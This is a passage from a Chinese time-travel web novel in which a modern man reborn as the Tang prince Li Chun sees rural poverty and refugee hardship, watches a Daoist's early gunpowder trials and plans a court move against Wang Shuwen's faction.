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>“我想做一件事,会有些动静,不想让人知道,要一个僻静的场所,你有合适的推荐吗?”
郭妃有些疑惑,但也没有多问,就说:
“我们郭家在长安西南的户县有一个不怎么用的宅院,靠近终南山,倒是比较僻静,我的一个堂哥郭云在户县任县尉,我可以让他带你去。”
李纯对吐突承璀道:
“你派人去户县通知郭云,让他把院子整修一下,先派人接清虚子过去,三日后来王府接我们过去。”
吐突承璀赶忙领命而去。
三日后,郭云带人来王府接李纯一行,李纯观察了郭云一番,只见此人三十来岁,穿着青色官服,体格强健,举止干练,有点郭子仪后人的气势。
郭云见到李纯后赶忙**施礼,李纯礼让了一下,就带着吐突承璀,让郭云带路,由一群侍卫的簇拥着,骑马向户县而去。
路上,李纯问郭云:“郭妃说你是他的堂兄,你是郭令公的哪个支系?”
郭云答道:“家父郭晤,为爷爷的第五子,我是他的长子,承蒙祖先的荫蔽,现任户县正八品的县尉。”
李纯正是用人之际,就说:“郭令公为了大唐江山社稷立有大功,他的后代也应是当世英杰,你以后就跟着**,会有崭露头角的机会。”
郭云连忙抓住机会:“卑职这些年**文练武,还算有些本领,以后愿意铁心跟随广陵王,殿下如有差遣,定当万死不辞!”
在行进的过程中,李纯留意观察沿途的情况,他发现在长安市井还算整齐,居民的房屋衣着尚能入眼。
出了长安进入农村地区以后,就有不少百姓衣不蔽体、面有菜色,大部分居民的房屋低矮破旧,还有些房屋倒塌无人居住,甚感荒凉。
又前进了一段,李纯发现前面看到一个老汉,衣衫破旧,赶着一辆牛车,拉着一车木柴,从远处迎面而来。老汉看到李纯一行后,举止慌张,居然赶着牛车躲到路旁的树林里去了。
李纯甚感奇怪,便问郭云:“这里位于天子脚下,怎么感觉还是一片穷困,那个老汉为什么要躲我们?”
郭云说:“白居易写的《卖炭翁》一文。不知殿下是否读过?”
李纯想到以前学过的“卖炭翁,伐薪烧炭南山中”和“可怜身上衣正单,心忧炭贱愿天寒”的名句,深为老人的遭遇而悲凉,连忙问道:“此文说的就是当朝景象?”
第6章 悲凉场景
郭云凄然一叹:
“都说天子脚下好,却是天子脚下民更苦,德宗朝以来,兵连祸结,外族入侵,宦官敲诈,长安周围的人民屡遭劫掠,负担重,生活很苦,《卖炭翁》说的就是那时的事。当今皇帝即位后,虽罢了宫市五坊使,取消进奉,但是老百姓依然是畏惧官府,怕惹祸上身,刚才那位老汉估计以为我们是宫里的人,怕我们会霸占他的牛车和柴火。”
李纯的心中涌起一丝悲哀,所谓泱泱大唐,已经衰败如此,老百姓见到宫中和官府的人就躲,说明已经被欺负多次,产生了严重的畏惧心理。
一行人又前进了一段,途径一个村庄,只听村庄远远传来呵斥声与哭喊声,李纯以为发生了什么异常情况,赶紧带人进入村庄查看。李纯入村以后,发现这个村庄也是比较残破,村民住的都是低檐破屋,透着一股荒凉感。
李纯等人循着声音赶过去,发现有几人在一个院子里发生争执,只见两个衙役搬着一袋粮食往外走,一个中年妇女则死拉住这袋粮食,另有一个领头衙役大声呵斥这个妇女放手,妇女一边哭喊,一边死抓住袋子不放。
有个老太婆抱着其中一个搬粮食衙役的腿,哀求不要拿走他们的粮食,还有两个孩子,一个七八岁的男孩,一个四五岁的女孩,坐在地上嗷嗷大哭,院子里还有一个四十多岁的中年汉子,在旁边摇头叹息。
李纯看着有点像《石壕吏》的场景,就向郭云示意一下,郭云大喝一声:“住手!广陵王在此,发生何事,你们为什么在此争执?”
几个衙役看到十几个人簇拥着一个衣着华贵的青年走过来,又听说是广陵王来此,赶忙放开粮食。
为首的衙役颠颠的跑过来,向李纯躬身施礼,忙不迭说道:
“小人张大勇拜见殿下,小人是户县的收税衙役,因为这户人家长期拖欠田赋,乡里收不上来,我们才来此强制征收,有王里正可以作证。”
说完向那个中年汉子使了个眼神。
那个中年汉子赶忙也走上前来,躬身施礼后说道:
“广陵王殿下,小人王三立,是本乡的里正,这户人家田赋欠了好几个月了,乡里收不上来,只能请县里来强制收取。”
郭云仔细打量了一下那几个衙役,对李纯说:“禀殿下,这几个确实是我们户县的收税衙役,看样子应该是来收税的。”
既然是来收税的,李纯也不好斥责,就转头问那中年女子:“你家为何欠税,有何难言之隐,尽管说来。”
那个女子看到有人帮他说话,赶忙走过来,跪地向李纯磕了几个头,然后带着哭声说道:
“民妇王孟氏,叩见王爷,我家男人前几年当兵战**,公公去年也病**,民妇只能和婆婆相依为命,又带着两个孩子,家里没有劳动力,去年收成又不好,只能先交一半的田赋,现在只剩下这一袋粮食,就算掺着草根树皮,最多也只够吃两三个月的,如果交上去,我们全家就会饿死,熬不到秋收。”
说完,那女子又悲愤地哭起来。
李纯细细打量一番,只见这个妇女三十多岁,衣裙破旧,头发杂乱,再看那个老妇和两个孩子,也是破衣烂衫,蓬头垢面,院子里只有两间破草屋,用一些树枝简单做了一个篱笆和柴门,看来家中确实贫困。
李纯向王三立问道:“王里正,这个女子说的可是实情?”
王三立无奈地说:“王孟氏所言也是实情,但是县里每年要乡里交的田赋都是固定的,乡里收不齐,就只能报到县里,否则小民就会被问罪。”
李纯又对张大勇说:“张衙役,这户人家确实也有难处,你们就不能通融一下吗?”
张大勇赶忙说道:
“殿下仁慈,可是每年县里往州里交的赋税也是固定的,如果县里交不齐,也会被问罪,像王孟氏这样欠税的,还有好多家,小人也是难做呀。”
说到这,李纯感觉有些为难了,于是就问郭云:“你是户县的县尉,你看该怎么处理。”
郭云也有点犯傻了,思考一番后,就问张大勇:“这家还欠了多少田赋,合多少钱?”
张大勇说:“只要再交320文钱,这家的田赋就算交齐了。”
郭云觉得如果放任不管,就要逼出人命,不让别人收税也不合理,于是咬牙说道:“这样吧,我替这户人家交了,你们也好回去交差。”
张大勇赶忙说:“郭大人,哪能让你替她出钱,这还不折煞了小人。”
郭云也不跟他废话,从口袋里拿出一些铜钱,居然还不够,又向其李纯的亲兵借一些,打算凑够320文交给张大勇。
李纯有点看不下去了,就制止郭云说:“这事既然被本王遇到了,就由本王来管,怎能让你出钱。”
李纯又扭头对吐突承璀说:“你来拿出320文,交给张衙役,算是王府替这家交了。”
吐突承璀要保障李纯路上的用度,自然是带了不少钱,赶忙从自己身上取出320文钱,交给张大勇。
王爷替民妇交税,这个钱张大勇哪敢收,当即推辞说:
“这等小事,哪能让殿下破费,不然
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我们几个兄弟凑点钱回去交差算了。”
李纯看出他的表情中透着一种搪塞之意,估计自己走后,他们还会找王孟氏要钱,也不愿继续在此事上浪费时间,就说道:
“我们还有事要办,没工夫在这里耗时间,就这样吧!”
说完就对吐突承璀摆摆手。
吐突承璀于是将钱塞到张大勇手里,然后回到李纯身边,搞得张大勇有点窘迫,但还是将钱装进随身的税袋当中,并作了登记。
王孟氏看到李纯竟然替她交了积欠的田赋,赶忙又过来给李纯磕头,还拉着婆婆和两个孩子一起向李纯磕头,千恩万谢,感动不已。
李纯觉得心中有些沉痛,这家自己遇到了,可以替她交一些,还有那么多自己没有遇到的,又该怎么办?这是整个大唐的系统出了问题,穷人太多,不是个人出一些小钱就能解决的。
李纯想到这些,就好言安慰王孟氏一家,说了几句客套话,然后就带人离开这个村庄,继续往前赶路。
路上,李纯问郭云:“一个寡妇,带着老人孩子,多么不容易,朝廷的税负怎么还这么重?”
郭云无奈的说:“目前藩镇割据,朝廷的收不到赋税,朝廷还要运转,需要大量的开支,就只能在能控制的地方加重税收。”
李纯觉得不止如此,唐朝中后期吏治**,官员**比较严重,层层加码,还有土地兼并、豪强压迫的问题。
李纯问郭云:“你们户县有没有官员**和随意加税的问题?”
这可是一个敏感问题,郭云哪敢随意表态,支支吾吾,非常窘迫。
李纯也不想为难郭云,就算他说出实情,自己又能怎样,就不再纠结这个问题。
李纯感到,大唐就像一个泥足病人,集中了太多的问题,随时都有可能崩塌的危险,心中有了一种沉重感。由于自己目前还没有掌握权力,暂时无法改变这些现象,又有了一种无力感,心情更加郁闷。
李纯在一个高处勒马停住,驻足眺望秦川大地,这是华夏起源的的地方,也是三秦百姓世代生存的土地。目之所及,苍茫而又雄浑,博大而又恢弘,但又透着一种悲凉、一丝哀怨。
此情此景,李纯想起开国伟人的一句诗“怅寥廓,问苍茫大地,谁主沉浮?”是呀,谁主沉浮?谁来改变华夏的命运?
突然间,有一种强烈的责任感涌到李纯的心头,自己来到唐朝就是要改变历史、重振国势的,如果不能发挥平生抱负,让百姓过上富足安乐的好日子,自己枉为人,白来唐朝这一趟!
第7章 **试验
由于路上耽误了一些时间,一行人下午才赶到户县的郭家院子。此处坐落在终南山脚下,离长安百余里,周围树木茂盛,人烟稀少。
李纯觉得这个院子位置很好,即使有点动静也不会引起注意,是个炼制**的好地方。
进了宅院,只见一名中年道士正踱着步,此人身穿灰色道袍,须发灰白,一副仙风道骨的模样。
李纯走上前问道:“你就是清虚子道长?”
道士看出李纯气质不凡,估计他就是广陵王,赶忙拜首道:“小道正是清虚子,拜见广陵王殿下。”
李纯好奇地问:“清道长原来在哪里修道,是如何发现的**?”
清虚子答道:
“小道原来在老君山修道,在炼丹的时候,需要硫磺、硝石等材料,后面发现这两种东西如果混入炭粉,会剧烈燃烧,甚至会爆起来,所以就对此有些感兴趣,研究了一番,今年应道士柳泌之邀,来钟南山修道,因柳泌经常入宫,殿下的人问起**的事,他想起了我,便向殿下推荐。”
李纯来了兴趣:“你身边可有现成的**,能否现场演示一下?”
清虚子早有准备:“小道前期有存了一些,听闻殿下感兴趣,就带来了一些**,可以现场演示。”
说罢,清虚子拿出一个黑色陶罐,又取出一个木板放在地上,然后从罐子里往木板上倒出一些黑灰色粉末。
然后,清虚子又弄来一个燃烧的木条,小心地对着黑色粉末点去。燃烧的木条刚一接触到那些粉末,粉末就剧烈燃烧起来,散发出大量的灰色浓烟。
烧完以后,李纯走近看了看,发现烧的不够充分,还留有一些黑色的残渣,燃烧时也没有预想的那么剧烈,冒出的烟偏多。
他顺手从清虚子的陶罐中抓出一些**,认真看了一下,然后说:
“一硫二硝三木炭,感觉配的比例有点不对,硝石偏少,而且粉末不够均匀,有的颗粒比较大,这样难以充分融合反应,威力不够大。”
清虚子惊奇的说:
“殿下居然对**也有研究,你所说一硫二硝三木炭的配方,我从来没有听说过,只是凭着感觉配的,各种材料的具体比例还没有把握清楚。”
李纯说:“这样吧,再搞一些**放在竹筒里,看威力如何。”
郭云赶忙找来一根较粗的竹子,锯了一段竹筒,在李纯的指导下,在竹筒上打了一个孔,然后从孔里倒入**,再找了一段麻绳,浸了油后,塞进孔内,然后把竹筒放在一个石头上。
清虚子又拿了一个燃烧的木条,对着绳头点去,绳头点燃后,然后赶紧闪开。只见火绳逐渐向竹筒内燃去,突然发出“砰”的一声,竹筒炸裂,掉落在石头旁边。
李纯走上去,捡起竹筒,发现竹筒只是炸裂开,掉落的距离也不远,威力远远不够,认为这样的**尚没有军事价值,必须要加以改良。
李纯对郭云和清虚子说:
“**这个东西有大用,你们必须投入精力尽快改良,郭云回去跟户县县令传一下我的意思,把你职责内的事找其他人接替一下,以后集中精力负责好制作**的各项事务。清虚子按照我刚说的一硫二硝三木炭配方,重新再配再试验,制作几个大小一样的容器,严格按照一比二比三的量,精准去配,务必要用上好的材料,不能掺有杂质,三种材料研磨成细粉,混合均匀,方能发挥最大威力。”
没想到清虚子说:
“小道的的主业是修道炼丹,**之事,因一时兴趣,稍有为之,怎能全身投入?而且配制**用的硫磺、硝石都非常耗费银钱,小道已经投入不少,难以为继,还请广陵王另择贤能。”
李纯听出了清虚子的小心思,便果断说道:
“修道炼丹,搞了千余年,也不见有真的仙丹出世,**搞成了,对国家将有大用,清道长必将立下大功一件,比那炼丹强多了,至于银钱的事,道长不必操心。”
李纯又对吐突承璀说:
“郭云、清虚子要负责**之事,甚为辛苦,先各赏银五十两,以后每月给予二十两银子的用度,至于购买材料的费用,全由王府出,由郭云据实报销。”
唐朝银子比较值钱,一两银子约等于前世2000元,五十两银子相当于前世十万元,每月二十两银子相当于四万,在唐朝是一笔不小的金额。看到李纯如此大方,郭云和清虚子均面露喜色,清虚子再不提推辞的事。
李纯又对郭云说:
“你从县衙内调一组人,担任保卫,闲杂人等一律不得接近,**之事要绝对保密,不得为其他人所知,否则杀无赦!另外,你还要再聘请几个工匠,共同参与制作,尽快促成此事,**调配上由清虚子负责,其他一应事务均由你负责,事关银钱的事尽管向王府提用,你可清楚此事的重要关系?”
听到李纯如此说,郭云知道事关重大,不敢马虎,连忙说:
“卑职一定倾尽全力把这件事办好,绝对做好保密工作,请广陵王放心!”
李纯最后对郭云和清虚子说:
“近期我还有别的事要忙,**之事,就拜托二位了,一般的事你们自己处理就好,
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重要的事或者有大的进展,郭云可随时去王府禀报于我。”
两人应下以后,李纯就带吐突承璀等人策马而回。
回府后,李纯觉得唐朝积贫积弱,自己要尽快参与到权力体系当中,争取先解决一些局部问题,决不能放任这些问题继续恶化。
李纯又一想,目前皇帝是父亲李诵,自己作为儿子,既然病好了,于公于私都应该去拜见皇帝父亲,顺便也摸一下虚实,于是决定进宫一趟。
第二天,李纯在太监的引领下,走进大明宫紫宸殿,也就是皇帝的居所,经过太监的通报回禀,李纯走入殿内。
李纯进殿后,看见顺宗坐在一把龙椅上,看样貌估计年龄在五十左右,一脸病容,萎靡不振,呆呆的向前望着,左边有个妃子坐在凳子上,右边站立着一个太监,应该分别是牛昭容和**言。
看到顺宗后,李纯连忙跪下叩拜:“儿臣李纯,特来拜见父皇,祝父皇万寿安康。”
只见顺宗动了动嘴唇,含混不清的吐了几个字。**言侧耳倾听了一下,然后朗声喊道:“皇上让殿下起来,赐座。”
李纯坐到一旁的椅子上,然后对着顺宗说:
“儿臣前段因偶染风寒,卧床不起,近两日身体才算好利索,儿臣心中一直惦记着父皇,今日特来拜见父皇,父皇如果有什么事让儿臣办,尽管吩咐。”
顺宗朝着**言又动了几下嘴唇,**言仔细倾听以后,说道:
“陛下说,李纯殿下的孝心他已知晓,目前尚无大事需要殿下去办,平时安心在王府读书即可。”
李纯不死心,又赶忙说道:“儿臣听闻最近政务繁多,父皇身体有恙,儿臣愿为父皇分忧,参与政务。”
顺宗的嘴唇又动了几下,**言仔细听完后,说道:
“陛下说,政务之事,目前由王叔文等人操持就好,暂时无需李纯殿下劳心,如没有其他事,就先退下吧。”
李纯虽仍不甘心,但也只能拜首道:“儿臣告退,愿父皇早日安康。”
在回王府的路上,李纯心中极为不满,自己堂堂皇长子,竟不如王叔文一个外人,宁可委政于朝臣,却不放权给自己的儿子,真是岂有此理!
李纯仔细再一想,也理解了其中的奥秘,顺宗当了25年的太子,即位前生病了,还因此差点错失皇位,这才即位三个多月,还没完全过把皇帝瘾,怎么可能会轻易放权。
而且以顺宗目前的状况,一旦放权给自己,极有可能拿不回来了,被彻底架空,顺宗虽然身体有病,但是脑子倒是一点都不糊涂。
第8章 长安奇遇
回到府上以后,李纯觉得,目前的格局对自己有些不利,要想拿到权力,自己跟王叔文等人必有一场较量,自己要赶紧做一些准备工作。
在其后的日子里,杜黄裳、俱文珍、裴垍、李绛、郑余庆等人又先后来拜访李纯,李纯都一一倾心而谈,一方面是拉近感情、笼络人心,扩大和巩固自己的人脉圈子,另一方面也是大概了解一下他们的学识和才能,为以后储备人才。
对外,李纯摆出礼贤下士的姿态,走访一些老臣宿将、文坛名士,对他们极其尊重,说了不少抚慰赞扬的好话,赢得一片赞誉之声。
他甚至还以皇长子的身份去看望慰劳宫中资历较老、级别较高的宦官,使他们受宠若惊,感激涕零。
对于顺宗的嫔妃,李纯也让郭妃代表自己逐个上门拜访,送上礼品,以示尊重。
地方有实力的节度使、宣慰使等官员,在长安都有派驻联络官员,观察朝中风向,探听信息,替这些地方大员在朝廷办事。李纯不便自己出面,先后委派武元衡、李绛与这些各实力派的联络员沟通示好,力图把这些地方实力派引为外援。
与此同时,王叔文等人也察觉到了李纯的异动,对他有所忌惮。但是王叔文在顺宗年轻时就担任伴读,陪同写字下棋、讨论时政,深得顺宗信任,又通过牛昭容、**言、韦执谊、王伾等人紧紧把持朝政,还有程异、韩泰、柳宗元、刘禹锡等人帮持,仍然势大,主导着朝政。
李纯虽经过一系列活动,博得一些虚名,但并未能介入到朝政,没有对王叔文小集团构成直接威胁,王叔文等人就逐渐放松了警惕。
李纯知道,以目前的情况来看,贸然出击不是好办法,一定要等到王叔文等人犯错的机会,才能果断出手。
在忙着建立和巩固自己圈子的同时,李纯也抽出时间处理家中的事务,热络和融洽与亲人的关系。
母亲王皇后,对自己倍加关心,不管是什么事,都是无条件的支持自己,这让李纯很感动,不时到她的宫里去看望她,送点礼物、说说话,以尽孝心。父亲顺宗那里,毕竟还是父子,李纯也会经常去走动探视一下,尽儿臣的本份,至少让他对自己有点好感。
李纯在正式娶郭妃之前,就和府里的宫女纪氏、刘氏相好,待正式娶进郭氏后,李纯便将纪氏、刘氏纳为妾,这也是当时男人的通病,穿越之前的事,自己也无法掌控,只能接受现实。
三个老婆生的孩子当中,大儿子是纪氏生的儿子李宁,今年11岁,稳重爱学;二儿子为刘氏生的儿子李恽,10岁,老实内向;三儿子为郭妃所生的儿子李宥,9岁,贪玩好动。
其他两个儿子则很小,尚在蹒跚学步阶段,另外还有5个女儿,年龄和五个儿子差不多。
李纯由于要忙着夺嫡的大事,尚无太多精力分给他们,只能偶尔有空闲时,简单陪他们一下、聊会话。
李纯经过分析,觉得自己和王叔文的较量,关键在于自己的父亲顺宗。如果顺宗皇帝的病情好转,他自然会继续重用王叔文等人,自己就只能继续等待机会,如果顺宗的病情恶化,那么就必然涉及到立储和权力洗牌,自己的赢面就更大一些。
从目前的情况来看,顺宗的病情是在逐步恶化的,说话越来越吃力,走路也越来越费劲,只是神智还算清醒,经过他人转达自己的意思,通过王叔文等人来执行,处理朝中的大事。
顺宗毕竟是个病人,没有那么多精力关注和处理很多具体事,所以就给王叔文留下了很多自由发挥的空间。如果王叔文能够运用好这个权力空间,自然可以巩固他们的权力,甚至可以做出大的政绩。
偏偏王叔文是个不安分的人,他们内部也不是铁板一块,跟外部的关系也不好,存在一些缺陷,李纯相信一定有机会扳倒他们。
李纯觉得,老是在王府里也有些闷得慌,就想出去走走,看一下长安的市井百态,也好了解一下普通市民的生活。李纯带着吐突承璀和几个亲兵,穿着便装,装成一个公子哥,在长安城内溜达起来。
长安不愧为全国的**中心,人口众多,城市规模宏大,路上行人摩肩接踵,好不热闹。特别是西市,作为城内最大的商业中心,开着很多店铺,胡汉客商云集,很多货物在这里交易。
李纯以前只是在历史书中知道长安,对一些具体情况不太了解,所以对这个城市充满好奇,带人东遛西逛,算是熟悉这个城市。
李纯正逛的起兴,忽然被一个十多岁的小孩撞到,小孩撞了李纯之后,就远远的跑开了。李纯感觉腰间似乎动了一下,就赶紧摸过去,发现身上带的钱包不见了,知道那个小孩是小偷,赶紧带人追过去。
那个小孩跑的很快,但是李纯带人死死咬住,一路追去过,不知不觉就来到了长安西南的延祚坊一带。那个小孩最终闪身进入到一个破落院子之中,李纯也带人闯进去。
李纯等人进入院子以后,发现这个院子残破不堪,里面卫生极差,有十几个人在里面,分成几拨各自蜷缩在一起。小孩进入院子以后,无处可躲,惶恐的缩在一角,紧张的看着李纯等人。
吐突承璀扯着尖细的嗓子喊道:“大胆小偷,光天化日之下,竟敢窃人钱财,赶快把钱包交出来,还可饶你不死!”
说罢,吐突承璀就带着一个亲兵过去,对那个小孩搜身,没想到居然没搜到,肯定是被他藏起来了。
吐突承璀怒了,当即一脚踹到小孩身上,将其踹翻,然后逼问道:“你把钱包藏在哪里了,不说就揍死你!”说完又蹬了一脚。
没想到这个小孩死硬,就是不吭气,吐突承璀怒了,和另外一个亲兵又踹了几脚,孩子身上已经有了伤痕,还是不吭气。
吐突承璀在拷问那个小孩时,院子里的那十几个人也紧张的望过来,他们有老有小。
其中有个中年妇女似乎是生病了,病恹恹地躺在地上,但是对小孩流露出非常关切的眼神,她看着那个小孩被打,
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眼里噙着泪水。
在病妇身边还有一个五六岁的女孩,看着吐突承璀殴打那个孩子,突然哭喊着说:“你们不要打我哥,你们不要打我哥!”。
这时那个妇女也哭喊起来:“大良,你就把钱包给他们吧,娘的病不治了,再这样下去你就要**了。”
李纯看形势有些不对,就让吐突承璀停手,然后对那个中年妇女说:“大嫂,这是你的儿子?你得了什么病要偷钱来治?”
那个中年妇女悲戚地说:“这位公子,真是对不住了,这孩子是为了治我的病,才出去偷钱,我这就让孩子把钱还给你。”
她然后对着那个偷钱的孩子说:“大良,把钱包给人家吧,靠偷钱来给娘治病,娘就算病好了,心也不安。”
那个叫大良的孩子,这才无可奈何的到一堆杂物下面拿出钱包,交给了吐突承璀,吐突承璀将钱包上的土拍了拍,又交给李纯。
李纯没有接钱包,而是四处打量这个院子,发现里面又脏又乱又挤,房子破败不堪,看里面的人一个个脏兮兮的,穿的衣服也很破旧,怎么看都像乞丐或难民。
李纯感觉延祚坊应该属于长安的贫民区,没想到繁华的长安还有如此脏乱的地方,又感觉那个中年女人似乎有什么苦衷,想着既然来了也不能不管,就问道:
“大嫂,你们从哪里来,是不是遇到什么难事了?”
中年女人叹了一口气,黯然说道:
“我们本生活在渭州(今甘肃陇西)一带,三年前吐蕃打到我们那里,我家男人被吐蕃人抓去做了奴隶,家里的东西也被抢光了,吐蕃人看我是个病人,孩子又小,这才放过我们。我们娘仨断了生活来源,只能逃难来到长安,我身上的病一直不好,浑身酸软乏力,今年更加厉害了,都没法走路,全家只能靠大良偷钱、偷东西生活,真是罪过呀!”
说完又呜呜的哭起来。
大良在旁边闷声不语,一脸的悲戚,院子里其他人也是唉声叹气。
其中一个老人说:
“我们也是从陇右逃难过来的,家乡都被吐蕃人占领了,吐蕃人的压迫太厉害,苛捐杂税太多,横征暴敛,根本无法过活,我和老婆子只能来到长安靠乞讨为生。”
说完也是老泪纵横,旁边的一个老太婆也跟着一起哭。
陇右难民,居然和当初书里看到的内容一样,李纯的心中陡然沉重起来,国家贫弱,百姓生存艰难。这些陇右人因为吐蕃的侵略,家破人亡,流落异乡,只能卑微地在社会最底层苟延残喘。
想到这,李纯已经无心再要回自己的钱包,就将钱包交给那个中年女人,说道:
“国家无能,你们跟着受苦了,这点钱对我来说不算什么,你就拿去看病吧。”
那个中年妇女还想推辞,李纯将钱包硬塞进他的手里,她也确实需要钱,也就含泪收下了。
大良看到被偷的人居然主动把钱包给了他娘,连忙朝李纯跪下,郑重的向他磕了三个头,以示感谢。
第9章 两派相争
李纯带着几个随从,心情沉重地从延祚坊走出来,回到王府。这是他第二次感受到唐朝人的苦难,藩镇割据,外族入侵,人民生活在水深火热之中,长安及周边尚且如此,其他地方可想而知。
昔日的盛唐早已化作飞灰云烟,只剩下“国破山河在,城春草木深”的凄凉图景,曾经辉煌的华夏民族目前只能生活在灰暗的天空下,很多穷苦百姓为了最基本的生存而挣扎。
要想振兴大唐,有太多事要做,扫平藩镇、赶走外敌、惩治贪腐、发展经济,都要大规模的开展起来,可是自己仍然无法掌握权力,只能作为一个无奈的旁观者。
李纯认为,自己穿越到唐朝,是带着振兴唐朝、壮大中华的使命而来的,要带领华夏民族干统一世界的大事,如果连一个王叔文都搞不定,还谈什么治国平天下?
李纯一方面积蓄力量,一方面观察王叔文等人的动向,寻找他们露出的破绽,好找机会出击。
王叔文的小圈子,核心有三个人:王叔文、王伾、韦执谊,三人的特点又有所不同,王叔文、王伾很早就跟随顺宗皇帝,是顺宗的死党,韦执谊只是跟王叔文关系较好,在顺宗登基后,才被王叔文推荐进入宰相队伍。
王伾为人比较胆小怕事,以翰林待诏的身份,在顺宗左右侍奉,在顺宗和王叔文、韦执谊之间传递信息。
王叔文的职务是翰林学士,度支、盐铁转运副使,掌握财政大权,居中调度,是集团的核心。
韦执谊为尚书左丞、同平章事,与杜佑、高郢、郑珣瑜等人同为宰相,在执行端发力。
王伾非常贪财,利用机会卖官鬻爵,捞取好处,还专门用一个大柜子用来存放金银,名声极坏。
王叔文志大才疏、个性张扬,自视甚高,凡是不依附、赞成他们的大臣,一概贬斥,在大臣中怨气极大。
韦执谊不愿与其他大臣闹得太僵,也不愿充当王叔文的打手角色,在一些事情的处理上并不一致,与王叔文存在隔阂。
有次,宰相们在中书省吃饭,按照惯例,宰相吃饭的时候,其他官员不得拜见,饭后再处理政务。
王叔文有事来找韦执谊,中书省值班的人不让进,王叔文就把值班的**骂一顿,直接闯进来,拉着韦执谊就走出去,搞得韦执谊脸色通红,下不了台。
他们走后,其他宰相以为他们谈一会就会结束,为表示尊重,就停下来,等韦执谊回来再吃。三个宰相等了很久,才有人过来禀报说,王叔文和韦执谊已经在其他地方吃了。
杜佑、高郢、郑珣瑜三人都是老资格的宰相,只是碍于王叔文得势,不愿意得罪他,没想到他如此不尊重他们,非常气愤。
郑珣瑜说:“现在这个样子,还干个屁,让王叔文自己去折腾去,我不当这个陪衬了。”说完就直接回家了,不再上朝办公。
杜佑、高郢也基本不再认真参与政务,只是当个陪衬,任由王叔文和韦执谊发挥,资格更老的贾耽,在王叔文刚得势时,就不满其为人,早就称病退休。
宰相中只剩韦执谊一个在办事,掌握实权,王叔文从此更加肆无忌惮,得罪了更多人,朝臣对他的怨恨与日俱增。
王叔文等人的揽权霸道,首先引起侍御史窦群的不满,向朝廷上书**王伾、王叔文存邪恶之心,扰乱朝政。
王叔文和同党非常愤怒,要求将窦群贬职流放,韦执谊却认为窦群有刚强正直的名声,作为御史,**大臣也是他的职责,如果自己对他贬职流放,于法于理都说不过去,还会得罪很多人,就阻止了此事,把王叔文气的够呛。
宣歙巡官羊士谔,本是地方官员,因公事来到长安城,他对王叔文专揽朝政的行为也非常不满,就在公开场合抨击王叔文。
王叔文得知这一消息后,十分恼怒,打算建议皇帝下诏杀了羊士谔,宰相韦执谊觉得这太疯狂,不敢同意。
王叔文又要韦执谊下令让军士打死士谔,韦执谊还是不同意,最后只是循例处理,将羊士谔贬职为汀州宁化县尉。
因为这两件事,王叔文觉得韦执谊竟然和自己不一心,让自己难堪,心中十分愤恨,两人出现了明显的裂痕。
李纯觉得,自己与王叔文等人并无仇恨,只是权力之争罢了,只要对方认可自己,完全可以化敌为友,一起合作。对于他们圈子里的几个人,李纯还是认可的,也想拉过来为自己所用。
李纯认为,自己是皇帝的长子,早晚都会被立为太子,甚至登上皇位,如果自己伸出橄榄枝,王叔文按理说应该接受。李纯先是派裴垍,去找王叔文,暗示请他支持立自己为太子,自己也会有所回报,王叔文竟然置之不理。
李纯后面又派人送些礼物给他,向他示好,没想到他居然把礼物退回,摆明是不想合作、自行其是。
面对这种情况,李纯怒了,既然如此,那就与王叔文一伙对抗到
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底。李纯决心近期就策划一次反击,敲打一下王叔文等人的势力,也为立太子做些准备工作,于是在广陵王府内召集杜黄裳、武元衡、裴垍、李绛等人商讨对策。
李纯首先发言:
“为了大局,本王一直在隐忍,没想到王叔文等人却越来越过分,简直不把本王放在眼里。根据本王的观察,他们也不是铁板一块,内部存在矛盾,本王想开展一次反击活动,夺取主动权,诸位有什么好的办法?”
杜黄裳也早已对王叔文一伙有意见,说道:
“王叔文等人飞扬跋扈,朝中正直的大臣早就对他们不满,广陵王众望所归,大部分人都心向殿下,是该出手教训他们一下。”
武元衡也不想再忍了,于是说:
“三日后,是每月的大朝会,皇上一般都会参加,朝中六品以上的大臣也会参加,我们可以在朝会上提议立广陵王为太子。”
大家对这个提议表示赞同,当前的情况,于法于理都该立太子,觉得是个出手的好机会。
李纯心思比较缜密,说道:
“王叔文等人势必反对,我们还要想好应对策略,要做到出手就要一击必中,不能反受其害。”
裴垍说:“朝会上,一般都是俱文珍代替皇上对大臣们传达意见,相当于主持人,他的态度对形势会有很大影响。”
李纯道:“这个不成问题,俱文珍已经明确站到我这边,我会专门拜会他,让他尽量创造有利于我们的形势。”
杜黄裳说:“到时就由我找机会先提议,大家针对王叔文等人的言论,提出反驳意见。”
李绛响应道:“我等自会见机行事,挫一挫王叔文等人的锐气。”
李纯还是有点不放心:
“光凭我们这些人,声势还不够,如果能把杜佑、高郢等其他大臣也争取过来,才能形成绝对的优势。”
裴垍附和道:“殿下说的对,如果能把那些中间派争取过来,王叔文等人就会彻底孤立,我们的胜算就更大一些。”
杜黄裳想了想,说道:
“不如这样,我们分头去找人做工作,把他们都争取过来,这样更稳妥一些。”
李纯觉得也该如此,说道:
“这样吧,我去拜访这杜佑,其他大臣你们有熟悉的,就分头去联络,争取能狠狠打击一下王叔文的气焰,此次若能改变形势,本王必不忘各位的襄助之功。”
说罢,让大家各自回去认真准备。
第10章 朝堂对决
会后,李纯又专门找俱文珍,商议了一阵,俱文珍老谋深算、经验丰富,觉得也确实是一个出击的机会,就让李纯和他的**胆出击,自己会制造机会、从中策应。
杜佑那边就有点麻烦了,李纯如果明目张胆的去拜访拉拢,就有私联大臣的罪名,李纯想了想,决定来个曲线救国。
李纯让人打听到,杜佑要带家人去曲江一带赏景,于是也带着郭妃和几个仆从也到曲江去赏景。
李纯一行到了曲江以后,佯装偶遇,与杜佑攀谈起来,郭妃也与杜佑的妻子说一些体己话。
李纯拉着杜佑走到一边说话,话语间,李纯对杜佑大为赞赏,特别称赞他的几个儿孙才华横溢、名动京城。李纯还称赞杜佑作为老臣,长期以来为大唐做了很多贡献,自己对他的能力非常认可,希望杜佑能够传授一些从政的经验给他。
两个人谈了半个多时辰,就各自散去了,谈话间李纯并未提及关于大朝会的事,但是杜佑明显能感觉到李纯的亲近示好之意。杜佑浸淫官场多年,知道李纯不会平白无故对他说一通好话,目前正是局势波诡云谲的时候,明显是要拉拢自己。
三日后,李纯和其他几个成年的皇子、众大臣来到大明宫参加大朝会。众人由李纯带头,经丹凤门,过御道,拾级而上,走入含元殿。
含元殿建造龙首原上,位于大明宫最高处,威严壮观,视野开阔,可俯瞰整座长安城,气势巍峨,是朝廷举行重要**的宫殿。
